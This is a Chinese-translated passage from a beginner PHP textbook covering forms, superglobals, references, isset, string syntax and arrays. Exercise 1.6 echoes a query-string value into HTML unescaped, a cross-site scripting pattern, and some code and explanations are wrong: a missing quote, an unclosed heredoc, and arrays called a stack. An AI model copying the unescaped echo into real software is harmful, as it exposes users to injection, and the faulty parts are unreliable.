        <meta content="width=device-width, initial-scale=1, shrink-to-fit=no"       name="viewport">
    </head>
    
  4. 打开 body 元素并添加容器 div,使内容居中对齐:

    <body>
    <div class="container d-flex justify-content-center">
    
  5. 打开表单元素并添加表单标题 - 一个居中的 H1 文本标题:

        <form method="post">
            <div class="text-center mt-4">
                <h1 class="h3 mb-3 font-weight-normal">Authenticate</h1>
            </div>
    
  6. 添加第一个表单标签和用户名输入组:

            <div class="form-label-group mb-3">
                <label for="inputUser">Username</label>
                <input class="form-control" id="inputUser" name="username"               placeholder="Username" type="text">
            </div>
    
  7. 添加与密码相关的标签和输入标签:

            <div class="form-label-group mb-3">
                <label for="inputPassword">Password</label>
                <input class="form-control" id="inputPassword" name="password"                placeholder="Password" type="password">
            </div>
    
  8. 添加将提交表单的按钮:

            <button class="btn btn-lg btn-primary btn-block"           type="submit">Login</button>
    
  9. 关闭所有打开的标签。

    注意

    最终文件可以参考packt.live/2MBLNZx

    在浏览器中打开文件。预期的输出如下:

图 1.11:登录页面

图 1.11:登录页面

表单使用 Bootstrap 的默认样式渲染,这些样式比浏览器的默认样式丰富得多。

在这个练习中,您渲染了一个 HTML 页面,包括一些最广泛使用的 HTML 元素,例如表单元素,并且您使用了 Bootstrap CSS 文件:

<h1>Hello <?php echo $name; ?></h1>

在这种情况下,Packt字符串存储在$name变量中,输出Hello Packt将以标题 1(最大字体大小)的形式打印。

注意

文件扩展名将是.php

这是因为 PHP 会扫描脚本文件,并且只有在存在关闭标签(?>)时,才会运行从开标签(<?php<?=)到关闭标签之间的代码,如果存在代码输出,则会将其替换。

练习 1.6:在 HTML 标签之间打印 PHP 代码输出

在这个练习中,我们将使用内置服务器通过companyName=Packt查询字符串打印Hello Packt。按照以下步骤操作:

  1. 使用您最喜欢的代码编辑器重新打开hello.php文件。

  2. 将代码替换为以下代码并保存文件:

    <h1><?php echo "Hello ". $_GET['companyName'];?>!</h1>
    <hr>
    
  3. 现在,打开浏览器并在地址栏中输入以下内容并按Enter键:

    http://localhost:8085/hello.php?companyName=Packt
    

    您将在屏幕上看到以下输出:

图 1.12:将输出打印到浏览器

图 1.12:将输出打印到浏览器

如我们所见,PHP 具有如此高的灵活性,它允许我们在其他类型的内容中使用 PHP 代码的某些部分。

让我们现在看看 PHP 中可用的其他预定义变量。

使用服务器变量

$_SERVER是由 PHP 提供的一个已填充的预定义数组。它包含有关服务器和环境的详细信息。$_SERVER中可用的信息因服务器而异,因此字段可能根据环境而有所不同。

练习 1.7:显示服务器信息

在这个练习中,我们将使用$_SERVER将服务器信息打印到浏览器。按照以下步骤操作:

  1. 进入chapter1文件夹。

  2. 在文件夹中创建一个名为server.php的新文件。

  3. 将以下 PHP 代码写入文件并保存:

    <?php 
    echo '<pre>';
    print_r($_SERVER);
    echo '</pre>';
    ?>
    
  4. 打开您的浏览器并在地址栏中输入以下 URL:

    http://localhost:8085/server.php
    

    您将看到以下屏幕:

图 1.13:将详细信息打印到浏览器

图 1.13:将详细信息打印到浏览器

在前面的代码中,我们使用了print_r语句来打印$_SERVER的内容。由于它是一个包含多个条目的数组,我们使用了 PHP 的print_r函数而不是echo来显示其内容。上面的pre标签和下面的pre标签将每个项目分开到新的一行,使其更容易阅读。

在浏览器中,我们可以看到它打印了大量的信息。我们有端口信息、文件位置以及许多其他字段。如前所述,系统信息可能因环境而异。

其他预定义变量

这里有一些常用预定义变量及其用法:

  • $_POST: 我们在本章前面使用了$_GET$_POST与此类似,但有一个区别。$_GET从查询字符串中获取值,而$_POST包含任何 PHP 页面上的表单数据。你将在后面的章节中更多地使用它。

  • $_FILES: 如果从页面上的表单上传文件,其信息将可在$_FILES数组中找到。

  • $_COOKIE: 这允许将基本文本信息作为 cookie 存储在客户端的浏览器上以供以后使用。一个常见的例子是,如果你登录到一个网站并勾选“记住我”,浏览器上会保存一个 cookie,下次访问时会读取它。

  • $_REQUEST: 它包含$_GET$_POST$_COOKIE的合并信息。

  • $_SESSION: 这些是用于在应用程序中维护状态的会话变量。它们允许在会话期间将值保存在内存中。这可以是会话存在期间保存并显示在页面上的用户名。

  • $GLOBALS: 它包含所有对脚本可用的变量。它包括变量、$_GET$_POST中的数据、任何文件上传数据、会话信息和 cookie 信息。

按值赋值和按引用赋值

重要的是要意识到将值赋给变量的不同方式。在 PHP 中,有两种方法:按值赋值和按引用赋值。让我们逐一查看这些方法。

按引用赋值意味着使用一个变量(如$var = &$othervar;)的 ampersand 来赋值。按引用赋值意味着两个变量最终都指向相同的数据,并且任何地方都没有复制任何内容。

按值赋值意味着将值赋给一个新变量,但没有引用回任何其他变量。它是一个具有值的独立变量。

练习 1.8:按引用赋值并更改其值

在这个练习中,我们将按引用赋值一个变量。然后,我们将更改另一个变量的值,并确保原始变量的值也发生了变化。请按照以下步骤操作:

  1. 将你的系统中的chapter1文件夹移动到内部。

  2. 在这个文件夹中创建一个名为assignment.php的新文件。

  3. 首先,我们将声明一个$animal1变量并将值Cat赋给它。然后,我们声明另一个变量$animal2并将$animal1变量赋给它。这意味着$animal1的值被复制到$animal2变量中。我们通过在第 10 行回显这两个变量来确认这一点,我们看到两个变量都有值Cat

    <?php 
    // Assignment by value
    echo 'Assignment by value';
    echo '<br>';
    $animal1 = 'Cat';
    $animal2 = $animal1;
    echo $animal1 . ' - ' . $animal2;
    echo '<br>';
    
  4. 接下来,当我们写下 $animal2 = 'Dog' 时,我们更改了 $animal2 变量的值为 Dog,然后再次打印这两个变量。现在,我们可以看到尽管 $animal2 的值已更改,但它对 $animal1 没有任何影响。这就是我们所说的按值赋值。值只是从一个变量复制到另一个变量,两个变量保持独立:

    $animal2 = 'Dog';
    echo $animal1 . ' - ' . $animal2;
    echo '<br>';
    

    现在,让我们看看按引用赋值。按引用意味着新变量成为旧变量的别名。因此,更改新变量的值会更改旧变量的值。

  5. 现在,我们将声明另一个变量 $animal3,并将其值设置为 Elephant。接下来,我们创建一个新的变量 $animal4,并将 $animal3 变量的值赋给它。在赋值过程中,注意变量名前的 ampersand (&)。这个 ampersand 告诉 PHP 通过引用将 $animal4 变量赋给 $animal3 变量。在代码中,我们将通过打印两个变量的值来验证这两个变量的值,它们是相同的:

    // Assignment by reference
    echo 'Assignment by reference';
    echo '<br>';
    $animal3 = 'Elephant';
    $animal4 = &$animal3;
    echo $animal3 . ' - ' . $animal4;
    echo '<br>';
    $animal4 = 'Giraffe';
    
  6. 要查看按引用赋值的实际效果,我们将 $animal4 的值更改为 Giraffe。之后,我们再次打印这两个变量,可以清楚地看到更改 $animal4 的值也改变了 $animal3 的值:

    echo $animal3 . ' - ' . $animal4;
    ?>
    
  7. 现在,打开浏览器并通过打开此 URL 定位到我们的文件:

    http://localhost:8085/assignment.php
    

    你应该看到一个像这样的屏幕:

![图 1.14:打印输出到浏览器]

图片 C14196_01_14.jpg

图 1.14:打印输出到浏览器

在 PHP 中,除非指定,否则变量总是按值赋值。

使用 isset 检查变量声明

有时,我们需要检查变量是否已设置,尤其是在有来自表单的用户输入的情况下,我们需要在将其保存到数据库之前进行验证。isset 是一个内置的 PHP 函数,对于声明且值不为 null 的变量返回 true

当一个变量没有值时,使用空数据类型。

让我们做一个练习。

练习 1.9:使用 isset 检查变量是否已设置

在这个练习中,我们将使用 PHP 的 isset 函数来检查变量是否已设置。按照以下步骤操作:

  1. 前往你的系统上的 chapter1 文件夹。

  2. 创建一个名为 isset.php 的新文件。

  3. isset.php 文件中写下以下代码并保存文件:

    <?php 
    $name1 = '';
    $name2 = null;
    echo 'checking $name1 : ';
    var_dump(isset($name1));
    echo '<br>';
    echo 'checking $name2: ';
    var_dump(isset($name2));
    echo '<br>';
    echo 'checking undeclared variable $name3: ';
    var_dump(isset($name3));
    ?>
    
  4. 现在,使用 php -S localhost:8085 命令运行内置的 PHP 网络服务器。确保你位于 chapter1 文件夹中。

  5. 在你的浏览器中打开以下 URL:

     http://localhost:8085/isset.php 
    

    你应该看到一个像这样的屏幕:

![图 1.15:打印输出]

图片 C14196_01_15.jpg

图 1.15:打印输出

var_dump 是一个内置的 PHP 函数,用于打印变量的值和类型。它有助于查看变量的内容以及它包含的数据类型。然后,你可以根据这些信息做出如何处理变量的决定。

isset 是一个内置的 PHP 函数,用于确定一个变量是否已声明且与 NULL 不同。

在前面的代码中,我们声明了两个变量,$name1$name2$name1 是一个空字符串,$name2 被设置为 null$name3 没有被声明。然后,我们使用 PHP 的 var_dump 函数来打印 $name1$name2$name3。由于 PHP 不需要声明变量,我们可以使用 $name3

在打印值时,我们可以看到 isset 函数对 $name1 返回了 true,这意味着为 $name1 设置了一个有效的值。这是因为 $name1 有一个有效的值——一个空字符串。但它对 $name2 返回 false,因为它被设置为 null,这意味着 $name2 没有被设置。

最后,我们输出了关于未声明的变量 $name3 的信息。由于这个变量根本未声明,isset 函数返回 false,这意味着这个变量也没有被设置。

isset 是一个很有用的函数,当您处理数据时将会大量使用它。

isset 相关的函数是 unset,它清除变量的值。

活动 1.1:在浏览器中显示查询字符串

在这个活动中,我们将应用从早期练习中获得的知识,并使用变量从 URL 中检索查询字符串并将相关信息打印到浏览器中。

您将创建一个简单的应用程序,允许用户在浏览器中查看电影信息。一旦完成活动,您应该得到以下类似的输出:

图 1.16:预期结果

图 1.16:预期结果

这些步骤将帮助您完成活动:

  1. 创建一个名为 movies.php 的文件。

  2. 在文件中捕获查询字符串数据以存储电影的详细信息,例如电影名称、演员/女演员名称和发行年份。

  3. 创建一个基本的 HTML 结构,然后显示捕获的查询字符串。

  4. 前往终端并执行命令以启动内置的 web 服务器。

  5. 在 web 服务器启动并运行后,打开 PHP 页面,并在浏览器中的 URL 后附加您的查询字符串。

    注意

    本活动的解决方案可以在第 502 页找到。

摘要

在本章中,我们学习了 PHP 是什么以及它在当今市场的地位。我们还探讨了 PHP 的内置模板引擎和交互式外壳。模板引擎允许我们在同一文件中混合 PHP 和 HTML。然后,使用终端,我们了解到我们可以通过内置的 web 服务器运行 PHP 脚本,这样我们就可以通过访问服务器的 IP 地址(在本例中为 localhost)和文件名来在浏览器中查看脚本的输出。

我们学习了如何创建和分配变量——通过值和通过引用。我们还看到了如何使用 PHP 的预定义变量以及它们是如何被使用的。

最后,我们学习了如何运行 PHP 的内置 web 服务器并使用查询字符串在我们的代码中。将数据附加到查询字符串允许我们向 PHP 脚本传递额外的数据,脚本可以在其中显示或修改这些数据。

在下一章中,我们将探讨 PHP 编程中使用的不同类型。

第二章:2. 类型与运算符

概述

到本章结束时,你将能够使用 PHP 的不同数据类型来存储和处理数据;创建和使用数组;实现多维数组的概念;使用运算符来评估操作值;以及执行类型转换以将变量从一种类型转换为另一种类型。

简介

在上一章中,我们介绍了如何使用 PHP 的模板引擎将信息写入网页,如何在命令行上使用交互式外壳,以及变量及其重要性。

本章将在此基础上继续深入。我们将从回顾 PHP 的数据类型开始,然后介绍数组,它们是什么,如何使用它们,以及可能的不同类型的数组。在此过程中,还将介绍 PHP 中内置的函数,这些函数使我们的代码能够执行特定的操作。

什么是数据类型?

在 PHP 中分配给变量的值将具有一组数据类型。以下是有八个原始数据类型:

  • 字符串 – 一个基于文本的值

  • 整数 – 持有一个数值,它是一个整数

  • 浮点数 – 持有一个数值;可以是整数或小数

  • 布尔值 – 持有一个等于 truefalse 的单一值(truefalse 的数值为 10

  • 数组 – 在其内部可以持有多个值或其他数组

  • 对象 – 持有一个更复杂的数据结构

  • 资源 – 持有一个资源引用;例如,函数的引用

  • NULL – 这个值实际上表示没有值

让我们现在更详细地了解不同的类型。

整数

整数是整数。使用整数的典型例子包括在购物车中指定数量,或者在处理数据库时作为 ID(第七章数据持久性),或者任何需要执行数学操作的时候;例如,$number = 1024。在这里,$number 是整数类型,持有值 1024

字符串

字符串由字符和数字组成。字符串的长度没有限制,但在数据库或其他存储区域中存储字符串时可能会有所限制。

在其最简单的形式中,字符串可以通过在一系列字符周围放置单引号或双引号来创建。这些可以是任何字符,例如字母、数字或特殊字符。

单引号和双引号字符串

字符串可以包含变量以及文本。单引号和双引号字符串除了一个变体外是相同的。单引号字符串中的任何变量将显示其实际变量,而不是其值。例如,考虑以下内容:

$name = 'Dave';
echo 'Hello $name';

这将打印 Hello $name 而不是 Hello Dave

现在,考虑以下示例:

<?php
$name = "Dave";
echo "Hello $name";

这将打印 Hello Dave

因此,我们可以看到双引号如何显示变量的值。

此外,如果你想在单引号字符串中包含单引号字符,你必须使用反斜杠字符来转义它。反斜杠字符也需要被转义。

这个例子演示了在单引号字符串内部使用反斜杠来转义单引号的使用:

     echo 'Your code isn\'t bad, but it could be better'; 
// will print: Your code isn't bad, but it could be better.

你会注意到前一个例子中的//字符。这意味着它是一个注释。当你想要记录解释代码意图并使代码易于阅读时,注释非常有用。注释会被脚本忽略。

有单行注释,如上面//字符之上的注释,它们会在当前行添加注释。

要使用多行注释,语法如下:

/*
This is a multi line comment
It can use as many lines as needed
to end a multiline comment use
*/

PHP 支持在双引号字符串中使用变量。以下是一个例子,其中将一个数字赋值给$number,然后在字符串中显示它:

  $number = 123;
  echo "The number is: $number";
  // will print: The number is: 123

现在我们来看一些双引号字符串的例子。我们将使用与前面关于单引号的例子中相同的字符串:

<?php
  $number = 123;
  echo "The number is: $number";
  // will print: The number is: 123
  echo '<br>';
  echo "Your code isn't bad, but it could be better";
  // Your code isn't bad, but it could be better

你注意到单引号和双引号字符串输出之间的任何差异了吗?观察第二个字符串的输出。当我们使用双引号时,打印的是$number变量的值:

图 2.1:字符串示例的输出

图 2.1:字符串示例的输出

Heredoc 和 Nowdoc 语法

有时,可能需要声明一个包含大量文本的大字符串。使用单引号和双引号方法,事情可能会很快变得混乱。为了帮助解决这个问题,PHP 提供了两种声明字符串的方法。这些被称为heredocnowdoc语法。使用这些语法,字符串可以跨越多行。此外,你不需要担心转义任何引号。以下是一个使用 heredoc 语法声明的字符串示例:

$number = 100;
$longString = <<<STRING
This string is spanned across multiple lines.
We can use "double quotes" also.
We have declared number $number before it.
STRING;

如果看起来很奇怪,不要担心。如果你打印它,屏幕上会显示以下输出:

This string is spanned across multiple lines. We can use "double quotes" also. We have declared number 100 before it.

在前面的代码片段中,我们首先声明了一个变量$number并将其值设置为 100。之后,我们声明了一个$longString变量。注意开头的<<<运算符后面跟着的单词STRING。在这里,STRING被称为标记或标识符。<<<运算符和标记应该位于非常开始的位置,而使用 heredoc 时,该行不应有任何内容。实际的字符串从下一行开始。你可以写多行。当你完成时,标记再次在单独的一行上写下,且前面没有空格。如果末尾的STRING标记不在单独的一行上,PHP 会抛出错误。

例如,看看下面的内容:

$preferedHost = 'Linux';
$preferedLanguage = 'PHP';
$storeString = <<<STRING
This string is spanned across multiple lines.
The preferred host in this example is $preferedHost.
The preferred language in this example is $preferedLanguage
STRING;

我们也在字符串中使用了双引号,我们不需要转义它们。此外,请注意变量的值被打印出来。这意味着 heredoc 语法的行为类似于双引号字符串。

这意味着你可以使用任何单词作为字符串标记,但通常使用线程结束EOT)名称。例如,看看以下内容:

$name = 'Dave';
$str = <<<EOT
An example string 
That spans multiple lines.

注意

使用 heredoc 时,一个常见的约定是使用EOT来表示开始和结束块的字符。块之间的所有内容都将存储在变量中。

变量也可以在不进行任何特殊配置的情况下使用。你只需像$name EOT一样显示它们即可。

上述命令现在被存储在一个名为$str的变量中。

现在我们来看看使用 nowdoc 语法声明的字符串。我们将使用前面示例中的相同字符串,并将其更改为 nowdoc 语法:

$number = 100;
$longString = <<<'STRING'
This string is spanned across multiple lines. We can use "double quotes" also. We have declared number $number before it.
STRING;
echo $longString;

一切都与 heredoc 的情况相同,只有一个区别。标记或标识符被单引号包围,这使得它是nowdoc语法。它表现得像单引号字符串,因此,内部不会进行变量解析,这就是为什么它会产生以下输出:

This string is spanned across multiple lines. We can use "double quotes" also. We have declared number $number before it.

与 heredoc 不同,$number变量没有被解析,直接显示在屏幕上。这对于大块静态文本来说非常理想。

浮点数

浮点数是具有小数位的数字。当需要以小数格式存储金钱,例如购物车系统时,浮点数非常有用。

浮点数(也称为浮点数或双精度浮点数)可以声明如下:

$w = 13.3333;
$x = -0.888;
$y = 17e+2;
$z = 8e-2;

在前面的代码块中,我们声明了四个变量。$w变量具有正值,而$x具有负值。PHP 还支持使用科学记数法进行声明。最后两个变量声明$y$z就是使用科学记数法声明的。$y的值是1700,而$z的值是0.08

注意

在这里,e表示“10 的幂”。

布尔值

布尔值是最简单的类型。它只能有两个值之一:truefalse。布尔值用于检查条件是否为真或假,例如,检查变量是否具有预期的值。你将在接下来的练习中看到这一点,并在第三章控制语句中进一步详细了解条件的使用。声明布尔值很简单。考虑以下示例:

$isAdmin = true;
$isAdmin = false;

练习 2.1:使用简单数据类型

到目前为止,我们已经涵盖了字符串、整数、浮点数和布尔值。现在让我们将这些应用到实践中,看看你可能会如何使用它们。在这个练习中,我们将计算一个客户在单个订单中购买的商品总数并打印出来。我们可以这样说,一个订单只有在最终总金额大于或等于 25 时才算完成。以下是执行此操作所需的步骤:

  1. chapter2文件夹内创建一个名为order.php的新文件(如果您还没有创建,请现在创建一个文件夹并命名为chapter2)。

  2. 接下来,打开 PHP 并定义以下变量。这将允许我们模拟订单处理过程。我们将定义一个$str变量,用于在显示总和时打印文本,而$order变量将保存购买的商品的成本。我们将定义$additional变量来保存添加到账单的额外费用。$orderTotal变量将保存总账单金额,一个布尔变量$complete将指示订单是否完成。默认将其设置为false

    <?php
    $str = 'Your order total is: ';
    $order = 20;
    $additional = 5;
    $orderTotal = 0;
    $complete = false;
    
  3. 定义了这些变量后,我们可以开始订单模拟。首先,让我们将$additional添加到$order中,并将结果存储在$orderTotal中:

    //add additional items to order
    $orderTotal = $order + $additional;
    
  4. 接下来,使用if语句(别担心,我们还没有介绍这个,但将在下一章中详细介绍;现在,只需考虑if (expression)然后执行给定的步骤),确定$orderTotal是否等于25

    //if order is equal to 25
    if ($orderTotal >= 25) {
    
  5. 订单已匹配到25,因此将$complete设置为true,并向客户显示一条消息:

    //change $complete to true to indicate the order is complete
     $complete = true;
    //display the $str and add the orderTotal
    echo $str . $orderTotal;
    
  6. 将所有这些放在一起,我们得到以下结果:

    <?php
    $str = 'Your order total is: ';
    $order = 20;
    $additional = 5;
    $orderTotal = 0;
    $complete = false;
    //add additional items to order
    $orderTotal = $order + $additional;
    //if order is equal to 25
    if ($orderTotal >= 25) {
        //change $complete to true to indicate the order is complete
        $complete = true;
        //display the $str and add the orderTotal
        echo $str . $orderTotal;
    }
    
  7. 现在,打开命令行并导航到chapter2文件夹。在命令行上运行以下命令:

    php -S localhost:8085
    

    现在,转到浏览器并打开http://localhost:8085/order.php

    你将在屏幕上看到以下输出:

![Figure 2.2: Order outputimg/C14196_02_02.jpg

图 2.2:订单输出

在这个练习中,我们看到了如何使用不同的数据类型来进行计算并在其基础上做出决策。我们将在第三章“控制语句”中详细讲解if条件,从而更清晰地说明根据不同条件可以做出哪些决策。

数组

数组是 PHP 中可用的一种数据结构。与存储单个值的普通变量不同,数组是一种可以存储项目集合的数据结构。你可以把数组想象成一个项目列表。这些项目可以是任何类型,如字符串、数字、布尔值,甚至是另一个数组。每个项目可以是不同类型的。第一个可以是字符串,而第二个可以是整数。第三个可以是布尔值或另一个数组。这提供了很大的灵活性。

假设你需要存储九个名字。而不是创建九个不同的变量,我们只需创建一个包含九个元素的数组变量。数组的每个元素都可以通过索引访问。这个索引可以是数字或字符串。数字索引始终从 0 开始。因此,包含 9 个元素的数组将具有从 0 到 8 的索引。第一个元素将具有索引 0,第二个将具有索引 1,依此类推。最后一个元素将具有索引 8。正如你将在示例中看到的那样,这些索引用于从数组中访问值。可以使用 PHP 的内置数组函数向数组中添加项目或从数组中删除项目,我们将在本节稍后介绍:

<?php 
$names = ['Dave','Kerry','Dan','Jack','James','Ruby','Sam','Teresa','Tony'];
print_r($names);
?>

这将显示以下输出:

Array
(
    [0] => Dave
    [1] => Kerry
    [2] => Dan
    [3] => Jack
    [4] => James
    [5] => Ruby
    [6] => Sam
    [7] => Teresa
    [8] => Tony
)

要显示索引为3Jack,你可以按以下方式打印:

<?php echo $names[3];?>

索引数组和关联数组

PHP 中有两种类型的数组——索引数组和关联数组。索引数组从 0 开始的数字索引,而关联数组有字符串索引。让我们看看一个索引数组的示例:

<?php 
$arrDays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday',  'Sunday'];
print_r($arrDays);
?>

我们声明了一个名为$arrDays的数组。为了创建这个数组,我们使用了 PHP 的[]函数,并在其中提供了一个逗号分隔的每周七天列表。这些每个都称为数组的元素。然后,我们使用print_r()函数来打印这个数组。

注意

print_r()用于查看变量的内容。这可以是单个值、数组或对象。例如,以下是将$arrDays数组的内容打印到屏幕上的结果。

以下代码片段的输出将如下所示。它将显示所有数组键的索引和值,如下所示:

Array
(
    [0] => Monday
    [1] => Tuesday
    [2] => Wednesday
    [3] => Thursday
    [4] => Friday
    [5] => Saturday
    [6] => Sunday
)

前面的输出显示了数组及其索引和每个索引处的元素值。现在让我们尝试访问数组的各个元素。以下代码显示了如何访问单个数组元素:

<?php 
$arrDays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday',  'Sunday'];
echo 'Element at index 0 is ' . $arrDays[0];
echo '<br>';
echo 'Element at index 4 is ' . $arrDays[4];

运行前面的代码将产生以下输出:

Element at index 0 is Monday
Element at index 4 is Friday

记住数组索引是从 0 开始的。因此,要获取数组的第一个元素,我们在变量名后使用方括号,并将0传递给它。同样,我们传递4来获取第五个元素。

PHP 提供了一个count函数,可以用来确定数组的长度。以下是它的用法:

<?php  
$arrDays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday',  'Sunday'];
echo 'Length of the array is: ' . count($arrDays);
// output: Length of the array is: 7

我们使用了之前相同的$arrDays数组。在声明数组后,我们使用count函数打印数组的长度。

接下来是关联数组,这些数组与索引数组类似,但关联数组的索引是由我们提供的。这使得访问项目变得更容易,因为你不需要记住索引。以下是如何创建关联数组的示例:

<?php 
$heroInfo = array(
    'name' => 'Peter Parker',
    'superheroName' => 'Spiderman',
    'city' => 'New York',
    'creator' => 'Stan Lee'
);
print_r($heroInfo);
?>

这会产生以下输出:

Array
(
    [name] => Peter Parker
    [superheroName] => Spiderman
    [city] => New York
    [creator] => Stan Lee
)

在前面的代码中,我们声明了一个变量$heroInfo。与索引数组不同,在这里,我们明确提供了索引。namesuperheroNamecitycreator都是索引。在索引后面使用=>运算符来在该索引处分配值。分配后,我们使用print_r函数打印数组。

与索引数组一样,我们将使用索引从数组中获取元素。以下是从$heroInfo数组中访问元素的代码:

<?php 
$heroInfo = array(
    'name' => 'Peter Parker',
    'superHeroName' => 'Spiderman',
    'city' => 'New York',
    'creator' => 'Stan Lee'
);
echo $heroInfo['name'];
echo '<br>';
echo $heroInfo['superHeroName'];
?>

在前面的代码中,我们通过访问namesuperHero索引来找到相应的值。这段代码将产生以下输出:

Peter Parker
Spiderman

回顾一下,索引数组是索引为数字的数组。例如,如果你有一个包含人名作为值的数组,索引将是自动分配给每个条目的索引,从 0 开始:

<?php
$people = [];
$people[] = 'David Carr';
$people[] = 'Dan Sherwood';
$people[] = 'Jack Batty';
$people[] = 'James Powell';
$people[] = 'Kerry Owston';
$people[] = 'Ruby Keable';
//display the contents of $people
print_r($people);

这会产生以下输出:

图 2.3:显示数组内容

图 2.3:显示数组内容

另一方面,关联数组使用命名键而不是索引键。例如,你可以有一个包含人员的数组,其中人员的名字作为键,职位名称作为值:

<?php
$people = [];
$people['Rose'] = 'Principal Software Architect';
$people['Laura'] = 'Senior Software Architect';
$people['Jane'] = 'Project Manager';
$people['Mary'] = 'Software Architect;
//display the contents of $people
print_r($people);

这将产生以下输出:

图 2.4:打印职位名称

图 2.4:打印职位名称

从数组中添加和删除项目

数组是一种栈数据结构。项目可以添加到数组或从中删除。有多种添加和删除项目的方法,以下部分将展示如何使用数组索引方法添加项目到数组,以及如何使用命名键方法。将解释 array_push 函数及其如何用于将项目推送到数组。array_pop 可以用来从数组中删除项目,这将在演示中展示。

PHP 提供了多个数组函数。这些函数可以用来向数组中添加项目,从数组中删除项目,以及执行其他多项任务。

有两种方式可以向数组中添加元素。以下是第一种方法:

<?php 
$animals = ['Lion', 'Cat', 'Dog'];
$animals[] = 'Wolf';
print_r($animals);

我们有一个包含三个元素的数组 $animals。注意,我们在变量名后面使用了方括号,并将值 Wolf 分配给它。这将在此元素末尾插入此项目,并创建一个新的索引。你可以通过打印数组来确认这一点,这将给出以下输出:

Array ( [0] => Lion [1] => Cat [2] => Dog [3] => Wolf )

在关联数组的案例中,你还需要提供键名。以下是一个示例:

<?php
$heroInfo = array(
    'name' => 'Peter Parker',
    'superheroName' => 'Spiderman',
    'city' => 'New York',
    'creator' => 'Stan Lee'
);
$heroInfo['publisher'] = 'Marvel Comics';
print_r($heroInfo);

在这里,我们向 $heroInfo 数组添加了一个新的键 publisher。这将把值 Marvel Comics 添加到数组的末尾,数组将如下所示:

Array ( [name] => Peter Parker [superheroName] => Spiderman [city] => New York [creator] => Stan Lee [publisher] => Marvel Comics )

向数组中添加元素的另一种方式是使用 array_push 函数。以下是一个 array_push 函数的示例。我们将使用之前使用的相同数组:

<?php  
$animals = ['Lion', 'Cat', 'Dog']     ;
array_push($animals, 'Wolf');
print_r($animals);

这将产生以下输出:

Array
(
    [0] => Lion
    [1] => Cat
    [2] => Dog
    [3] => Wolf
)

array_push 函数接受两个参数。第一个是数组的名称,第二个是我们想要插入的值。它还会将值 Wolf 添加到数组的末尾。

array_pop 函数可以用来从数组的末尾删除一个元素;例如:

<?php
$stack = array("black", "red", "green", "purple");
$fruit = array_pop($stack);
print_r($stack);

这将产生以下输出:

Array
(
    [0] => black
    [1] => red
    [2] => green
)

unset 方法是另一种删除元素的方式,但它允许你指定要删除的键:

<?php
$stack = array("black", "red", "green", "purple");
unset($stack[1]);//remove red as this is the key matching 1

这将产生以下输出:

Array
(
    [0] => black
    [2] => green
    [3] => purple
)

多维数组是一个包含一个或多个数组的数组。这通常在嵌套数组时使用;例如,你有一个包含每个学校数组的学校数组,其中每个数组存储学校的名称和位置。让我们通过一个练习来详细说明。

练习 2.2:创建多维数组

正如我们所见,数组是一系列项目的集合。这些项目可以是任何类型。因此,一个数组可以包含整数、浮点数、布尔值或任何其他类型。这也意味着一个数组也可以是数组的一个元素。包含其他数组的数组被称为多维数组。没有包含任何数组的数组被称为单维或一维数组。让我们做一个练习,我们将创建一个多维数组,然后访问其内部的项:

  1. chapter2 文件夹内创建一个名为 array.php 的新文件。

  2. 声明一个数组,heroInfo

    array.php
    1  <?php
    2       $heroInfo = [
    3      [
    4          'heroName' => 'Spiderman',
    5          'weapon' => 'Spider web'
    6      ],
    7      [
    8          'heroName' => 'Iron Man',
    9          'weapon' => 'Mark L'
    10     ],
    11     [
    12         'heroName' => 'Thor',
    13         'weapon' => 'Mjolnir'
    14     ],
    https://packt.live/2VqAHto
    
  3. 使用 pre HTML 标签来格式化输出:

    echo '<pre>';
    print_r($heroInfo);
    echo '<pre>';
    
  4. 打开命令行并导航到 chapter2 文件夹。

  5. 在命令行中运行以下命令:

    php -S localhost:85
    
  6. 现在,打开浏览器并访问 http://localhost:85/array.php

    你将在屏幕上看到以下输出:

    ![图 2.5:打印数组元素 图 C14196_02_05.jpg

    图 2.5:打印数组元素

    前面的代码声明了一个名为 $heroInfo 的数组,它有四个元素。所有这些元素本身都是关联数组。每个数组都有两个键,heroNameweapon。然后我们打印了这个数组的所有内容。我们使用了 pre HTML 标签,以便在屏幕上格式化输出。

    现在我们尝试从这个数组中访问一些元素。

  7. pre 标签关闭后添加以下行:

    使用数组,提取英雄名称和武器。为此,指定数组名称后跟索引,然后是子索引,换句话说,$heroInfo[3]['heroName']

    echo 'The weapon of choice for ' . $heroInfo[3]['heroName'] . ' is ' .  $heroInfo[3]['weapon'];
    echo '<br>';
    echo $heroInfo[2]['heroName'] . ' wields ' . $heroInfo[2]['weapon'];
    
  8. 保存文件并刷新浏览器页面。你应该会看到以下截图所示的内容:

![图 2.6:打印结果图 C14196_02_06.jpg

图 2.6:打印结果

前面的数组有四个元素。因此,$heroInfo[3] 将给出这个数组的第四个元素。第四个元素本身也是一个数组,其中 heroName美国队长weapon 是一个 盾牌。要获取英雄名称,我们再次使用方括号,并传递一个 weapon 作为键。因此,$heroInfo[3]['heroName'] 给出的是值 美国队长。同样,$heroInfo[3]['weapon'] 给出的是 盾牌。我们在代码的最后一行也做了同样的处理。多维数组也可以有更深层次的嵌套。

在这个练习中,我们研究了多维数组以及如何使用它们来存储多个数组、显示其内容以及从数组中提取特定项。

标量类型

标量类型声明可以是强制性的(无需显式指定)或严格的(严格类型提示)。默认情况下,类型是强制性的。

强制转换意味着即使是一个字符串,PHP 也会将其强制转换为整数。

以下是一个示例。这里,我们有一个名为 number 的函数,它被类型提示为只接受整数。

在这个例子中,正在传递一个字符串。当以强制模式运行 PHP(这是默认开启的)时,这将工作并打印1到屏幕上:

<?php
function number(int $int)
{
    echo "the number is: $int";
}
number('1');

为了便于严格模式,在包含以下内容的文件顶部放置一个单独的declare指令:

declare(strict_types=1);

现在,在严格模式下再次运行示例:

<?php
declare(strict_types=1);
function number(int $int)
{
    echo "the number is: $int";
}
number('1');

这将产生以下错误:

Fatal error: Uncaught TypeError: Argument 1 passed to number() must be of the type int, string given

这是因为在严格模式下,字符串不能被转换为整数。

注意

类型提示在第四章函数中有所介绍。

这强制执行严格数据类型,这意味着它们在脚本生命周期内不能被更改。

类型转换

PHP 不需要我们显式声明变量的类型。变量的类型是在它被赋值时设置的。

